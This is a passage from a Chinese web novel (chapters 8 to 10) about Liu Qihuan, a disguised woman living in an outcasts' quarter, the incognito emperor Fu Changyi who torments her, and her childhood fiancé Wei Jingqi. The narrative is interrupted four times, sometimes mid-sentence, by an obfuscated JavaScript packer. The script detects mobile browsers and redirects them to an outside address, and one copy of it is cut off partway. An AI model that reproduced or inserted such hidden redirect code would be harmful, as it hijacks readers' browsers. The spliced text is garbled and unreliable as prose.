说完,他打了个哈欠,披上自己毛绒绒的宽厚鹤氅,歪靠着软椅闭目养神。 这时,早就躲在不远处观察情况的齐鸿探出头,小跑过来。掏出怀里捂着的两个馒头,悄声道:“哥,鸿儿来帮你搬石头,你先吃点东西。” 柳齐欢吓了一跳,忙抬起头,见傅常懿还在那儿闭着眼假寐,才稍微放下心。 她皱眉低声道:“不是叫你不要来么,还来做什么?这里用不着你帮忙,趁他还没发现快回去,不然我要生气了。” 齐鸿闻言,忙道:“先别赶我,这会子过来,也不光是为这事,还有件重要的。你先前一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189731|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在寻找的那个仵作,我终于打听到了踪迹。” 听到这个意外的消息,柳齐欢的心脏猛地一震:“当真?” “千真万确!” 她的手微微颤抖起来。当初自己四处调查了许久都寻找不到的证人,不过前阵子随口与齐鸿提了一嘴,他居然帮自己找到了! 原本都已经不抱希望,甚至还想着能不能通过别的线索去查…… 想到这里,她忙道:“鸿儿,这样,你先回去盯着那个人。待我下了工,咱们再议此事!” 柳齐欢有些激动,但考虑到现下的处境,还是选择拿了对方给自己带的馒头并推他先离开。 然而,她还是晚了一步,傅常懿阴凉凉的嗓音在头顶响起。 “呵,倒是差点把这个野狗子小鬼给忘了啊。” 二人双双抬头,就见对方两臂交叉压住大腿上搭着的鹤氅,微俯下身子,冲他们笑,只不过这笑里明显充满不怀好意的味道。 齐鸿看对方发现了自己,也不藏了,硬着头皮上前一步挡在柳齐欢的前面:“我才不叫野狗子!” 虽然他快十四岁了,却因为营养不足发育得迟,个头矮小才到柳齐欢的下巴高。 再加上相貌生得机灵稚嫩,所以发起怒来的样子着实像是只呲牙的小兽,一点杀伤力都没有。 傅常懿手背拄着下巴,像逗狗似的问道:“上次我可听他们都叫你野狗子。” “我叫齐鸿,齐欢哥哥的齐,鸿鹄之志的鸿!才不叫野狗!” “是么?好难听的名字。” “你胡说!”齐鸿反驳。 傅常懿不屑:“你是贱民,这辈子都翻不了身。连做燕雀都勉强,又如何有成为鸿鹄的一天?可见你不配这个名字,还是野狗子比较匹配……” “常懿公子。” 他正侃侃而谈,柳齐欢突然开口打断。 因对方叫的是假名,他有点没反应过来。 “你认为贱籍者只能困守囹圄,无法展翅高飞,又何尝不是燕雀安知鸿鹄之志哉?” 柳齐欢望着他,出口的话语犹如珠落玉盘,清脆而掷地有声。 她的神色并未因他刚才的话而波动,反而平静如水,甚至隐约有一股不折弯的傲气。 傅常懿愣了一下,旋即明白过来,这家伙是在拐着弯地骂自己。 “你讽刺我?” 柳齐欢一双桃花眼微弯,仿若一池净水徐徐漾开舒缓的弧度:“非也。我只是提醒公子,凡事眼光放长远,莫要一偏之见。” 没怎么读过书的齐鸿并不太能听明白身旁之人说得是什么意思,但他知道是在替自己说话,而且能感觉到傅常懿眼中闪烁着极为明显的不悦。 他轻轻拉了拉柳齐欢的衣袖,有些担忧对方因为自己再受到新的惩罚。 毕竟,眼前这位纨绔公子哥,看起来似乎比那打死杨大娘儿子的陈公子还要有权有势,连向来拜高踩低的看守都跟见了祖宗一般多敬三分。 他要是想碾死两个贱民,估计和碾死两只蚂蚁差不多。 傅常懿的目光始终阴沉地凝视着柳齐欢,较往常少了一丝玩世不恭,多了几分的凌厉和审视意味。 “看来这点惩罚,对于你这个硬骨头来说,还不够。” 8. 员外郎 柳齐欢在心里把傅常懿的祖宗十八代都骂了一遍,想不通什么样的爹娘能养出这么反复无常又爱折磨人的狗纨绔。 这下连斗车都给撤了,让她徒手搬运石头,还惩罚了齐鸿。 “你不是特别能跑么,那就买些果子来,本公子饿了。”傅常懿丢给齐鸿一锭银子,让他跑腿。 一会说渴了,要喝杏仁茶,一会说要吃东桥的糖酥饼,一会又要西门大街的捏泥人。 齐鸿跑上跑下的不说,还要被恐吓,要是敢借机偷跑,就罚他的齐欢哥哥去洗恭桶。他只好唯命是从。 不一会儿的功夫,傅常懿的面前就摆满了东西。 从吃的喝的,到鸟哨蛐蛐罐等各种有用没用的玩意儿,垒成了一堆。 买完糖葫芦回来后,齐鸿累得气喘吁吁,一屁股坐地下,掀起褂子下摆给自己扇风:“不,不行了,我跑不动了。” 看守吆喝:“这才几趟就没劲儿了?少偷懒!” 齐鸿被踢了一脚,捂着肚子为难地爬起来:“那能不能先让我去趟茅房,我尿急……” “少耍滑头!再不动弹就用鞭子抽你!” “我真的憋不住了……”齐鸿夹着两条腿,缩着脖子,小脸皱成了一团。 看守见此,满脸嫌弃道:“去去去!懒驴上磨屎尿多,收拾完赶紧回来,别想着偷跑!” 不等他说完,齐鸿“呲溜”一下窜了。 茅房的位置离着不远,他走到一旁晾晒的竹架下方,寻了个凹坑解手。 等解决完三急问题出来后,齐鸿也没急着回去,而是准备去竹架下面先躲着歇息会儿。 可没等找地方坐下,后背就挨了一脚,差点摔个狗吃屎。 齐鸿踉跄了两步才站稳,回头就见傅常懿站在自己身后。 对方正笑得前仰后合,完全是一副幸灾乐祸的样子。 齐鸿瞅着他身后跟来的两个侍卫,怕再给柳齐欢添麻烦,默默地忍了,没还击。 傅常懿见对方老老实实地原地站着,讶异道:“你这回怎么不咬人了啊?刚才来的时候,跟臭小子说什么悄悄话呢?”” 齐鸿前头吃了两回亏,不敢再多反驳,只闭着嘴。 傅常懿眼色示意旁边的两个侍卫后退数步,冷笑道:“不说话,你也学你哥当块木头?” 见对方依旧保持沉默,傅常懿打了个响指:“这样吧,你要是回答我的问题,我倒是可以考虑考虑免除你们两个的惩罚。” 齐鸿狐疑抬头,不信会有天上掉馅饼的好事。 “本公子也忙得很,没时间跟你们在这里耗。你若是听话,说不定我就大发慈悲放过你们,若不听……” 他双手抱臂,表情带着威胁的意味:“那这惩罚可就不知道要持续到猴年马月了。” 听到这话,齐鸿眉头皱起来,明亮的眼珠转了两转,似乎在衡量两种选择的利害。 大概一片树叶飘落的功夫,他才开口道:“你想问什么?” 傅常懿露出满意的笑容:“你是什么人?和臭小子又是什么关系,亲兄弟?” 齐鸿心想对方和看守侍卫相熟,应该比较清楚贱民所的情况,这个问题怕不是用来试探自己所说的话是真是假。 就算这会儿说了谎,回头也很容易被戳穿,还不如实话实说。 于是他将自己的身世来历以及当年柳齐欢相救的恩情,简要地告诉了对方,反正这都是些人尽皆知的事。 傅常懿点头,继续盘问:“那他呢?怎么来的贱民所,之前又是做什么的?” 齐鸿没有回答这个问题,主要他对于柳齐欢的身份也不算非常清楚。对方只在无意间偶尔透露过一次,还是为了寻找那个仵作,后来再也不肯提起过去。 他想了想,反问道:“光说了我的情况,还不知你的背景。你又是何人,为何总出现在贱民所,又为什么关心起这些事来?” 傅常懿挑眉:“是我问你,不是你问我。” 他这句话里倒是没有生气的语气,齐鸿掂量着自己答不出,先道:“反正我已经回答了你好多问题,你答应过要免了我们的罚。” 傅常懿有些好笑:“跟本公子耍滑头是吧?” “……” 俩人正互不透底,忽然齐鸿的肚子发出了“咕噜噜”的肠鸣。 他跑腿半天,早就饿了,这会儿捂住肚子,脸上有些尴尬。 “小鬼,饿了?” 傅常懿轻嗤一声,从怀里拿出块刚才买回来的糕饼,在他面前晃了晃:“不如我们做个交易,一个饼换一个问题。” 齐鸿咽了下口水:“……那我要先吃了再说。” 傅常懿把饼丢给去,他接住,立马囫囵地塞进嘴里。 糕点干实,齐鸿被噎得锤了自己的胸口好几下,才咽下去。 傅常懿“啧啧”地嫌弃对方吃相:“现在你吃了东西,回答我的第一个问题。把你知道的关于臭小子的事情都说出来,不然我就让这俩侍卫好好请你吃一顿鞭子。” “……行,我说。” 齐鸿慢慢地开口,声音像蚊子哼哼。 “你说什么,大声点。” “我说……才不要告诉你!” 齐鸿“哗啦”一下推倒旁边的那排竹架,像只野兔子似的拔腿就跑。 傅常懿躲避不及,被拦住了去路。 待追出来时,齐鸿已拉着柳齐欢爬上了监工的高台,就要翻过北司圜的围墙逃走。 看守听到这边的动静,也急急忙忙提着裤子从另一边的茅厕钻出。 见此情形,急忙大喊:“你们要敢跑!老子非扒了你们的皮!” 齐鸿才不管,想着能躲一时是一时,踩着石头猴儿样式的翻身上墙,又向下方之人伸出手。 “哥,快点!” 柳齐欢回望傅常懿的方向,只见对方迈着四方步过来,不急不慢地冲着骑在围墙上的齐鸿道: “喂,小鬼,你就没觉得有什么不舒服吗?” “什么不舒……” 齐鸿还没说完,就听肚子里更加激烈的“咕噜”鸣响,糕点上洒的泻药起效了。 “我肚子好痛!” 他“哎呦”叫唤一声,手忙脚乱地从围墙顶跳下来,弓着腰再次直奔厕所。 柳齐欢见傅常懿刚才没有急着干涉他们想要翻墙逃跑的事,便料定对方肯定又打着什么坏主意。 “你对齐鸿做了什么?” 他接过来侍卫奉上来的手帕,擦了擦手指沾着的糕饼油渣: “野狗不听话,又馋嘴贪吃,本公子自然要给他点小惩罚。” “无耻!” 她唾骂他,目光充满鄙夷。 看守一听,拳头结结实实地擂上她肩膀,斥道:“还敢叫嚣,皮痒了是不是!” 他们几人所站的监工高台,是用一块几丈长宽的巨石临时充当,面积并不大,离地却也有一人多高。 饿着肚子又干了大半天活的柳齐欢,本就还未病好,冷不防挨了这粗鲁的一拳,虚弱的身子骨根本站不稳。 她后退了半步,脚下踩空,条件反射地伸手去抓距离最近的人。 谁想到后者也没防备,连带着失去平衡,一同被拽下了台面。 “常公子!” 周围的看守侍卫吓得脸一白,忙大呼小叫地顺着台阶急奔下去。 只见傅常懿单膝跪撑于地,一条胳膊死死地扒着块石头的边缘,才勉强稳住上半身,不至于完全摔趴下。 而柳齐欢因为紧拽着他的衣襟,虽掉了下来却也只是屁股着地,没有后脑勺挨砸。 她的鬓发被汗水浸湿,鼻尖沾着些灰尘,脸色比先前更白,双颊倒反而泛起不正常的红晕,双眼紧闭着。 傅常懿盯着近在咫尺的面容,察觉其状态不对,抬手抚上她的前额。 薄汗冰凉,前额有些发烫,是风寒温病的表征。 柳齐欢感觉到额头被触碰,猛地睁开眼。 一看刚才抓住的人居然是傅常懿,当即使劲推开他,扶着墙站起来。 她受了点惊吓,脑袋有些晕,却还是强打精神戒备着围上来的侍卫。 看守刚要叫人抓她,傅常懿却抬手作了个安静的手势。 “今天就先到这里吧。” 看守不明白:“常公子,请问您的意思是……?” 傅常懿撇了眼柳齐欢不太好的脸色与状态,淡淡道:“惩罚先算了。” 闻言,柳齐欢蹙起眉头,不明白这人葫芦里卖的什么药,内心尚疑。 正在这时,一个面白无须的矮个子小厮一溜烟小跑而来,打断了他们:“常公子,卫大人来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189732|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 齐鸿在茅坑里蹲得腿都麻了,才终于止住腹泻。 待他气呼呼地回来,现场早已不见傅常懿等人的身影,只余柳齐欢坐在石头堆里歇息。 他忙上前问道:“他们人呢?” 柳齐欢看向他:“都走了。你怎么样?” “没事,就拉了两趟肚子,有点虚得慌。”齐鸿将方才经过告诉了她,又问,“他们没对你如何吧?” 柳齐欢摇了摇头:“没有。” “那咱们还要在这里继续受罚么?” “不用了。”她扶着齐鸿的胳膊起来,“咱们先回去吃点东西,具体的我再跟你细说。” 另一边。 傅常懿坐着轿辇晃晃悠悠地来到北司圜外,远远就瞧见柳树下站着的男子。 他下了轿子,朗声道:“卫大人什么时候回来的?” 卫敬启听到这戏谑又清亮的声音,立马回过身来,躬身便要行礼:“陛下……” “在外何必拘谨,快起来。” 傅常懿一抬手,那来报的小太监连忙上前扶起对方。 “昨日还跟你父亲提起你来着,真是说曹操,曹操到。”他打量两眼面前人,“看来岭南之行着实辛苦,不过半年多未见,你都黑瘦了。事情办的怎如何,可有受伤?” 卫敬启恭敬道:“仰赖天恩,此行顺利,边境皆已安定。微臣这两日便将岭南诸事上奏。” 傅常懿笑道:“这事不急,反正朕最近也没时间看那些奏折。本来还想着在宫里见你,这会儿怎么来了北司圜?” 虽然他们君臣之间关系不错,但卫敬启始终保持着为人臣子的谦恭: “微臣来此,是为寻人。因为近期有潜逃的流民混入了帝京,恐与新近频发的命案有关。臣正好路过,便想着先来调查调查。” “与北司圜有关?” “是,那潜逃之人涉及一宗陈年旧案,本职曾为仵作,归属于贱籍行列,故派了微臣来查。” 卫敬启生得模样正派,行事也一板一眼,傅常懿听完这话,忍不住揶揄他: “旧案?那就是刑部的案子。不会又是卫昶把他手底下的活,硬塞给你这个户部员外郎干吧?一回来就抓你的忙,他这个当爹的。” 卫敬启没有否认,淡笑着解释道:“贱民归属户部管理,原是微臣的职责范围之内。家父年迈,做儿子的也理应为其分忧。” 傅常懿瞧不惯他总是这副古板正经的样子,便道:“既然爱卿如此勤奋,那朕将你调去大理寺少卿的职位如何?” 户部员外郎是从五品,大理寺少卿是正四品,相当于提拔两级。 若是高祖皇帝、先帝说这种话,那必定是旁敲侧击,隐含着敲打的意思,但卫敬启清楚,面前人提起这个,纯粹是随口调侃自己。 毕竟对方是名声在外的“昏君”,没那么多弯弯绕绕的帝王心术。 他面色不变,辞谢道:“多谢陛下抬爱。微臣才疏学浅,力不胜任查案之责,还是留臣处理户部事宜吧。” “那你就听朕的,让卫昶自己干去,省得整天闲下来就对朕耳提面命。” 卫敬启听他这般抱怨,便知又是父亲念叨这位新帝念叨得烦了,心下有些好笑,只好岔开话题询问对方为何出宫来此。 “出来玩玩罢了。满宫里就朕一个人,天天面对那些个苦瓜脸的大臣,能把人闷死。”傅常懿撇撇嘴,不想多提,“正好都左御史家的那小子在吉祥楼摆了宴请,你要不要随朕一同去啊?” “陛下雅兴,微臣不擅饮酒,就不去扫兴了。” “嗯,那下回再聚吧。你既已回京,有空就多进宫里陪朕聊聊天解解闷。” 卫敬启躬身道:“是,微臣遵命。” 二人又闲话了两句后便分道扬镳,傅常懿换乘马车去了吉祥楼,而他则转身进入北司圜。 来到值守的班房处,卫敬启召来看管此地的官员,查问最近这一代有无流窜的嫌疑人等。 没查出什么东西后,又嘱咐他们多盯紧点来往出入,有消息及时来报。 几人连忙应声:“还请卫大人放心,下官们必定加强管理。” “好,你们去吧,下面我自行去看看。” 他示意他们不必跟着,独自离开了关房,径直往柳齐欢所在的茅屋方向走去。 9. 当年事 暮色四合,日薄西山。 茅屋里药香飘渺,泥炉上煨着的药罐子咕嘟咕嘟地冒着蒸汽。 柳齐欢用手巾包住滚烫的把手,将熬好的药汤倒入碗中。 采石场一天下来,她现在腰酸背痛,脑袋也晕乎乎的。齐鸿捡来的那包药材并不齐全,但聊胜于无,熬煮几味或许能稍微缓解不适。 吹了吹凉后,趁着温热喝下去。柳齐欢又寻了件厚点的外褂披上,撑着精神出了门,打算去班房支领这个月的工钱。 顺着小路走不多远,迎面就见一熟悉的人影渐行渐近。 她有些不可置信,使劲揉揉眼睛,以为自己看错了。 来人似乎也看见了她,大步快行来至近前。 “柳妹!” 柳齐欢一脸惊讶:“敬启哥哥,你,你回来了?” 面前人着一身宝蓝色团花纹直襟宽袖长袍,银冠束发,身形挺拔,虽有半年多未见,但气质比离开帝京前更加成熟稳重了许多。 卫敬启的情绪有些激动,细细打量着她:“许久未见,你又消瘦了。我不在的这段日子里,你身体可还好?” “我一切安好。”柳齐欢见到他十分开心,又关心他的情况,“你呢,此行可还顺利吗?有没有受伤?” “没出什么事,事情也都办妥了。”卫敬启见她身上衣衫单薄破旧,低头解下了自己装银两的钱袋给她,“我今日来的匆忙,没带其他东西,这些银子你先拿去用着。” 柳齐欢忙摆手推辞:“多谢你的心意,我现在找了份舂米所的活计,已经足够养活自己了。” 她不好意思太麻烦对方,毕竟这几年面前人已经帮助了自己不少。 当年稷安兄长猝然离世,她清楚必然是与那场肃清有关。可身为一介女流,既无官场门路,也失去了柳府依仗,想要查清兄长死亡的真相,根本无处下手。思来想去,只有入仕为官这一条路能够接触到朝廷内部。 她曾随兄长乡试中举,于是故技重施,改名易姓女扮男装参加了那一年的春闱。 好不容易在殿试中了探花名次,谁曾想会突生变故,其所在考场被曝出有人舞弊,连带她小心翼翼隐瞒的女子身份也暴露。先帝震怒,以欺君之罪将相关人等一同打入诏狱。 她本以为自己会死在狱中,可竟又被放了出来,后来才知道是卫家人救了自己。 当时身为刑部主事的卫敬启协助父亲卫昶彻查舞弊案,并向先帝极力求情,才免去他们一干考生的死罪,只是活罪难逃,最终分别判处了流放充军等刑罚,而她则被贬为贱籍,入了北司圜。 贱民所的日子不好过,可以说,如果不是有卫敬启暗中照顾,她早就死了。 因此,她十分感念对方的恩情。 卫敬启隔着衣袖握住柳齐欢的手腕,不容其退还,认真地看着她:“你我之间,何须多说谢字。” 柳齐欢触及他的目光,不禁低下了头,手中的钱袋沉甸甸的,卫家的恩情更是重。 她喃喃道:“我已经受了你许多的恩了……” 卫敬启温柔一笑,仿若静水波澜,眼中情意一如既往:“你我本是青梅竹马,又有当年父辈定下婚约,我对你自然有照看之责。甚至……我觉得自己做的还不够。” 听到他提起昔日婚约,柳齐欢的回忆不禁被勾起。 那时候父亲是镇远大将军,因军功封了忠烈侯,而一直交好的卫大人,仕途也如日中天,连升三级,很得高祖皇帝与先帝的赏识。两家长辈来往甚密,孩子之间也处得极好。因卫敬启年长于她四岁,所以也如兄长一般待她,而她也总想个跟屁虫一样黏着二人。 因此,父母便定下了亲事,约定等她及笄之年成婚。 然而,谁曾想天有不测风云,还未等她长大,父母、兄长就接连去世…… 想及此处,柳齐欢苦笑道:“还提那么久远的事情做什么,婚约早就不作数了,敬启哥哥还是再觅佳人吧。” “可我还记得……”卫敬启想要解释,他依然记得婚约,但看到她眼角的泪花,一时皱了眉,“抱歉,我不该提过去的事。” “别这么说……”柳齐欢吸了吸鼻子,展颜一笑。 俩人相顾无言,都有些感伤。 这时,齐鸿忽然不知从哪里冒出来:“真的是卫大哥!好久不见你!” 他像只活泼的小鸟一样将卫敬启撞了个满怀,亲切地扑上来抱住他。 卫敬启拍拍他的肩膀,笑眯眯道:“原来是鸿儿啊,这才半年没见,你都长这么高了。” “嘿嘿,自从跟着齐欢哥哥,我基本就不怎么饿肚子,自然长得快了!”齐鸿听到对方夸自己,满脸高兴。 见面寒暄,卫敬启又问他近况如何,平日里都做些什么,柳齐欢还未来得及阻止,齐鸿道便:“跟齐欢哥哥学着写诉状呢!” 此话一出,卫敬启嘴角的笑意淡了,偏头看向她:“你还在做这些事吗?” “……嗯。” 他眉头微微拧起,神色染上几分不悦:“难怪来时听说了些风声。我不是告诉过你,不要掺和贱民的案子么,为何不听我的话?得罪了贵族豪绅可不是闹着玩的。” 柳齐欢抿了抿嘴唇:“我不是为了好玩。” “那你为了什么,为贱民申冤吗?我知道稷安生前就总爱做这些无用功,可你是……你做这些完全是吃力不讨好,不仅危险,而且于自身无益,何苦浪费时间在这些事上?” 他担心她的安危,语气不自觉变得严厉起来,差一点将柳齐欢女子的身份脱口而出。碍于齐鸿在场,硬生生改了口。 “敬启,你说的这些,我都明白。可贱民的命也是命,贱民也有申冤的权利。况且,我现在也是贱民。” 柳齐欢注视着他,脸色不太好看。 在贱民所呆了这两年,她目睹的苦楚与冤屈太多,愈发明白父母兄长生前解民倒悬的义举有多么不容易。 她也不过是随了他们,做不到袖手旁观罢了。 “……对不起,我不是那个意思。”卫敬启意识到自己失言。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189733|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 柳齐欢摇头:“我并不是在责怪你,只是就事论事。” 卫敬启望着她,虽然不认同其做法,但也清楚对方从小就执著。这会儿一句话两句话恐怕无法扭转她的想法,便不再继续这个话题。 他有些无奈地握紧了她的手腕,诚恳道:“在外这半年,我时常挂念你。再多等等一阵子,我定然找机会帮你脱籍。” 柳齐欢内心喟叹,对方这些年一直在为帮自己恢复良籍奔走,可贱民脱籍谈何容易,更何况她还是戴罪之身。 而且,就算有朝一日她能回归良民身份,柳家其他人却还要继续背负骂名,无法洗刷,她照样于心不安。 “敬启哥哥,多谢你念着我。其实无论贱籍还是良籍,我都没有关系的,只要能安安稳稳地生活就够了。” 卫敬启也知晓此事不容易办,自己现在只是个小小员外郎,因此还需从长计议,但他不会放弃。 二人又叙旧几句,同去班房领了工钱,随后,卫敬启唤来看守,当着面,以伤病不可过于苛待的理由要求对方准她几日假休息。 “我过阵子再来看你,好好保重身体。”他叮嘱完后,便与她道别,离开了北司圜。 目送卫敬启的背影远去,柳齐欢回头,就见看守贼眉鼠眼地瞅着自己:“你竟然认识卫大人?” 她心知卫敬启方才一番言语行为,就是在提点看守,也不理睬对方,牵着齐鸿的手就准备回家。 看守伸手拦她:“问你话呢,你怎么会认识卫大人” 他接手这片区域的时间不长,并不清楚柳齐欢背后有何背景,本以为只是个不服管教的贱民,没想到居然和户部的人有关系。 回想之前所作所为,他心有戚戚,沉不住气来打探。 柳齐欢冷漠地扫了他一眼,也不回答,依旧往前走。 这些北司圜的守卫一个个都不是省油的灯,若是让他们知道他俩之间有关系,保不齐会动什么歪心思。她尽量不想给卫敬启招惹麻烦。 看守摸不透她,拦了一次,没再拦第二次,而是道:“别以为认识卫大人就有了免死金牌!三日后你要是不按时来干活,鞭子照样伺候!” 齐鸿翻了个白眼:“这死看守阳奉阴违,会不会再对你不利啊?” “兵来将挡,水来土掩。就算他要使什么坏,以后也要多掂量掂量了。” 柳齐欢记挂着正事,问他:“对了,正好想问你,之前说打听到了仵作的踪迹,他现在哪里?” 齐鸿道:“他这会不在贱民所。听杨大娘说,得等过两天,他办完事从外头回来老房子这边,才能见着。” “这么说,他可以自由出入?” “嗯,那人用的假身份,没人知晓他的底细,要不是杨大娘跟他以前是邻居,咱们还真找不到他。” 见她脸上露出思虑的表情,齐鸿道:“放心吧,这几天我会盯紧的,人一回来我就叫你。” 柳齐欢笑道:“你怎么像个小大人似的。待我把欠的两份诉状写完,跟你一道去。” 10. 调查他 帝京最大的吉祥楼被包了场,楼上楼下都静悄悄的没一个人影,唯独二楼最尽头的那间客房有进有出。 屋里只有三人,其他伺候的侍从都被屏退到了外面。 孙德升穿着寻常的外出常服,粘了道假胡子,不像个太监,倒像个三十岁上下的乡绅差不多,安安静静地候在地下。 旁边的随行太医跪于脚踏,正为床上坐着的人请脉。 傅常懿仅着绸缎中衣坐在床边,乌墨色的长发散下来,眉眼微垂,一脸的倦容。 他眉头拧起,孙德升一见,立马赶眼色地上前为对方按摩两鬓的穴位,问跪着的太医:“周大人,陛下身体如何?” 周太医收了脉枕,恭敬道:“无妨。陛下脉象康健,头疼只是因为这两日醉酒,待微臣熬一剂醒酒养神的汤药服下,便可解头晕症状。” 听到只是因为醉酒不适,并没有勾起余毒,孙德升松了一口气,忙唤来小太监,带周太医下去开方子熬药。 因傅常懿两日没回宫,他不放心,于是就带了太医院首席以及手底下的暗卫一同出来寻找。 恰好碰上了都御史家的大公子,才知道对方弟弟生辰,在吉祥楼大摆宴席,邀请了皇帝以及一众帝京贵族子弟共同听曲赏戏,饮酒作乐。 大家畅玩了两日,那些个公子哥们醉后各自回家,皇帝却死活不回宫,小直接宿在了客栈。 孙德升问完就直奔吉祥楼,找到人后,对着随从傅常懿的小太监一顿训斥,又急急地上二楼来伺候圣驾。 他一边给对方按压穴位,一边劝道:“陛下,这酒寒伤身,不是好物,您要保重龙体啊。” “你怎么出来了,宫里有事发生?” “回陛下,宫里一切安定,有左丞和太傅在呢。奴才就是见您两日未归,担心侍从伺候不周,所以特地来寻。” 傅常懿凝眉听着话,示意他停手,问道:“来的也正好。之前让你查的庚午年科举,查得如何?” 孙德升来时已经从小太监那里听说了北司圜发生的事,笼着袖子侍立在侧,将探查到的关于“齐欢”的情况一一告知。 “奴才打听了几遍也没查出他的来路,就去大理寺查案宗记录,发现庚午年舞弊案内中夹着誊录的策论试卷。奴才瞧了眼,颇具文采,倒没有与其他考生雷同的情况。另外,案卷里记录的下狱的原因是欺君犯上之罪,十有八九如北司圜的看守所说,可能是殿试忤逆了先帝……” 他觑了眼傅常懿的脸色慢慢说着,后者靠在枕边,边听边如往常一样把玩着手里的玉佩。 “难怪。朕看他那嚣张跋扈的样子就是个恃才傲物的家伙,得罪了父皇,不死都是命大。” 孙德升连忙顺着说道:“是。冒犯天威者,按律当斩,只将其贬为贱民,也是先帝仁德治下……” “先帝仁德治下?” 傅常懿撩开眼皮,瞅着他:“孙德升,这么喜欢拍马屁,不如送你去守皇陵吧?” 一听这话,孙德升猛然意识到触了逆鳞,唬得马上跪下,左右手各扇了自己一个嘴巴子:“陛下赎罪!奴才这张嘴又说错话了!” 他去年就因为提了句先帝与先皇后伉俪情深,琴瑟和鸣,结果就被面前人拿墨砚砸到了后背,这会儿说顺了嘴,竟浑忘了。 傅常懿冷笑。身边的每一个人,都以为先帝傅衷是个圣德英明的皇帝。 可只有他清楚地知道,父皇不过是个在人前仁义礼智信,人后却弑兄夺位,宠妾灭妻的衣冠禽兽。 若不是母后以死相逼保住了他的嫡子之位,庶弟又短命夭折,这江山怕是还轮不到他来坐。 他攥紧手中光润的玉佩,脸色阴霾:“下回要是再多言,朕就罚你去给老东西守陵守到死。” 孙德升忙再度谢罪跪趴下去,大气不敢出,后悔不迭方才一时嘴快。 屋里的气氛有些凝滞,端着茶盘进来的小太监一见此情况,愣了一下,连忙也慌得跪下,战战兢兢道:“陛下,药,药熬好了……” 孙德升膝行上前接过来,抽出携带的银针试毒,确认了无问题后,才双手捧着奉上,小心翼翼道:“陛下,奴才伺候您喝药。” “你以后少溜须拍马,朕的耳朵还能清净点。” 傅常懿自行端起碗,喝完后丢回茶盘,让对方起来回话:“除了方才那些,还有查到什么?” “暂时只有这些,没有其他的了。请陛下再多容几日,奴才让暗卫再多查探查探。” “不必了,你就算查也查不出什么有用的东西。父皇的那些手段,朕很清楚,看来也就那小子忤逆犯上的胆色倒真……有点意思。” 傅常懿说着,收了玉佩,站起身:“替朕更衣。” 孙德升连忙拿来衣袍伺候:“陛下,可是要回宫?” 他嘴角浮现一丝嘲讽的笑意:“宫里有两位老臣坐镇,有什么好回去的。朕要去贱民所,瞧瞧那个硬骨头。” 乘坐马车抵达北司圜,傅常懿叫孙德升带着随从的太监们先回宫,也没让侍卫跟着。 他自己背着两只手,跟个吊儿郎当的纨绔公子哥似的,晃悠到采石场。 结果连柳齐欢的影儿都没见着,问了看守才得知给准了三日假。 他问为何准假。看守因不清楚柳齐欢与卫敬启的关系,便只简单提了句是上头来巡查时恰好撞见对方病病殃殃的体恤之举。 贱民在大梁地位最为低下,没人关心他们生死存活,贱民所因而也苛待成风。 傅常懿心知这些情况,正思索对方是真伤病,还是装模多样耍心机躲罚时,看守却探头探脑地瞅着他。 “怎么了?” 对方陪着笑问道:“那个,感觉常公子您似乎挺关心齐欢那小子,要再准他两日假照顾照顾么?” 前脚刚走了个员外郎,后脚又来了个公子哥,还都是为齐欢而来。看守心里直犯嘀咕,忍不住想试探。 傅常懿斜对方一眼:“你脑袋上那俩窟窿是瞎的么,本公子什么时候关心他了?对付一戴罪的贱民,该怎么做,还用我教你?” 他浑身散发着森冷的威慑,看守对上眼神,莫名不敢违抗其命令,连忙低头答应着。 “那臭小子住什么地方,你带本公子过去。” 傅常懿在看守的引导下,来到了那处破茅屋,挥手让对方滚远点后,自己单独留下。 面前的茅屋矮矮塌塌,与周边的其他房子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189734|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差不多。黄泥糊窗,茅草作顶,能看出有不少修修补补的痕迹。 虽然又破又烂十分老旧,但门前屋后很规整,没有像其他的贱民房那样杂物乱放,甚至连杂草也清理的很干净。 